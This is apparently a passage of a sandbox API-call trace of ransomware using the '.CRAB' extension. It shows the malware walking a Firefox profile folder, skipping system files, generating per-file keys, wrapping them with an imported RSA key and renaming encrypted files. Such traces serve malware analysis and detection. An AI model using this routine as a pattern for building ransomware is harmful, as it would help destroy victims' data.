	[0120.662] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.663] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.663] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0120.663] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0120.663] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.663] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.663] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.664] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e6b0) returned 1
	[0120.664] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3165898) returned 1
	[0120.664] CryptGetKeyParam (in: hKey=0x3165898, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.664] CryptEncrypt (in: hKey=0x3165898, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0120.665] GetLastError () returned 0x0
	[0120.665] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0120.665] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0120.665] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3165b18) returned 1
	[0120.665] CryptGetKeyParam (in: hKey=0x3165b18, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.666] CryptEncrypt (in: hKey=0x3165b18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0120.666] GetLastError () returned 0x0
	[0120.666] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0120.666] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0120.667] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.667] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.667] ReadFile (in: hFile=0x3fc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3147f2c*=0x137c, lpOverlapped=0x0) returned 1
	[0120.688] VirtualAlloc (lpAddress=0x0, dwSize=0x1380, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0120.689] VirtualAlloc (lpAddress=0x0, dwSize=0x1380, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0120.689] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.690] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffec84, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.690] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x1380, lpOverlapped=0x0) returned 1
	[0120.690] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.690] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.695] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0120.695] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0120.695] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0120.696] CloseHandle (hObject=0x3fc) returned 1
	[0120.697] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.697] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.697] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.698] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.698] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.698] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.699] FindNextFileW (in: hFindFile=0x3165fd8, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0120.699] lstrcmpW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2=".") returned 1
	[0120.699] lstrcmpW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2="..") returned 1
	[0120.699] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4"
	[0120.699] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.699] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4") returned 174
	[0120.699] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4") returned 174
	[0120.699] lstrlenW (lpString=".jsonlz4") returned 8
	[0120.699] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.700] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jsonlz4 ") returned 9
	[0120.700] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.700] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4") returned 174
	[0120.700] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4") returned 174
	[0120.700] lstrcmpiW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2="desktop.ini") returned -1
	[0120.700] lstrcmpiW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2="autorun.inf") returned -1
	[0120.700] lstrcmpiW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2="ntuser.dat") returned -1
	[0120.700] lstrcmpiW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2="iconcache.db") returned -1
	[0120.700] lstrcmpiW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2="bootsect.bak") returned -1
	[0120.700] lstrcmpiW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2="boot.ini") returned -1
	[0120.700] lstrcmpiW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2="ntuser.dat.log") returned -1
	[0120.700] lstrcmpiW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2="thumbs.db") returned -1
	[0120.700] lstrcmpiW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2="CRAB-DECRYPT.txt") returned -1
	[0120.700] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.701] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4.CRAB") returned 179
	[0120.701] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4")) returned 0x20
	[0120.702] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", dwFileAttributes=0x20) returned 1
	[0120.702] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4.crab")) returned 1
	[0120.703] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0120.704] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4.CRAB"
	[0120.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4.CRAB.CRAB"
	[0120.704] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0120.704] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.705] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.705] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.705] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0120.705] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.705] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.705] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
	[0120.706] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0120.706] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0120.708] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0120.708] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0120.708] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0120.708] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.709] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0120.711] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0120.711] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
	[0120.712] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3165f18) returned 1
	[0120.712] CryptGetKeyParam (in: hKey=0x3165f18, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.712] CryptEncrypt (in: hKey=0x3165f18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0120.713] GetLastError () returned 0x0
	[0120.713] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0120.713] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0120.745] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3165e58) returned 1
	[0120.745] CryptGetKeyParam (in: hKey=0x3165e58, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0120.745] CryptEncrypt (in: hKey=0x3165e58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0120.746] GetLastError () returned 0x0
	[0120.746] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0120.746] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0120.746] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0120.758] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0120.758] ReadFile (in: hFile=0x3fc, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3147f2c*=0x1407, lpOverlapped=0x0) returned 1
	[0120.769] VirtualAlloc (lpAddress=0x0, dwSize=0x1410, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0120.770] VirtualAlloc (lpAddress=0x0, dwSize=0x1410, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0120.770] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.770] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffebf9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.770] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x1410, lpOverlapped=0x0) returned 1
	[0120.770] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.771] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.774] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0120.774] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0120.774] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0120.774] CloseHandle (hObject=0x3fc) returned 1
	[0120.775] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.776] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.776] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.776] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.777] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.780] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.781] FindNextFileW (in: hFindFile=0x3165fd8, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0120.781] lstrcmpW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2=".") returned 1
	[0120.781] lstrcmpW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2="..") returned 1
	[0120.781] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4"
	[0120.781] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0120.781] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4") returned 174
	[0120.781] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4") returned 174
	[0120.781] lstrlenW (lpString=".jsonlz4") returned 8
	[0120.781] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.782] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jsonlz4 ") returned 9
	[0120.782] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0120.782] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4") returned 174
	[0120.782] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4") returned 174
	[0120.782] lstrcmpiW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2="desktop.ini") returned -1
	[0120.782] lstrcmpiW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2="autorun.inf") returned -1
	[0120.782] lstrcmpiW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2="ntuser.dat") returned -1
	[0120.782] lstrcmpiW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2="iconcache.db") returned -1
	[0120.782] lstrcmpiW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2="bootsect.bak") returned -1
	[0120.782] lstrcmpiW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2="boot.ini") returned -1
	[0120.782] lstrcmpiW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2="ntuser.dat.log") returned -1
	[0120.782] lstrcmpiW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2="thumbs.db") returned -1
	[0120.782] lstrcmpiW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2="CRAB-DECRYPT.txt") returned -1
	[0120.782] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0120.782] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4.CRAB") returned 179
	[0120.782] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4")) returned 0x20
	[0120.783] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", dwFileAttributes=0x20) returned 1
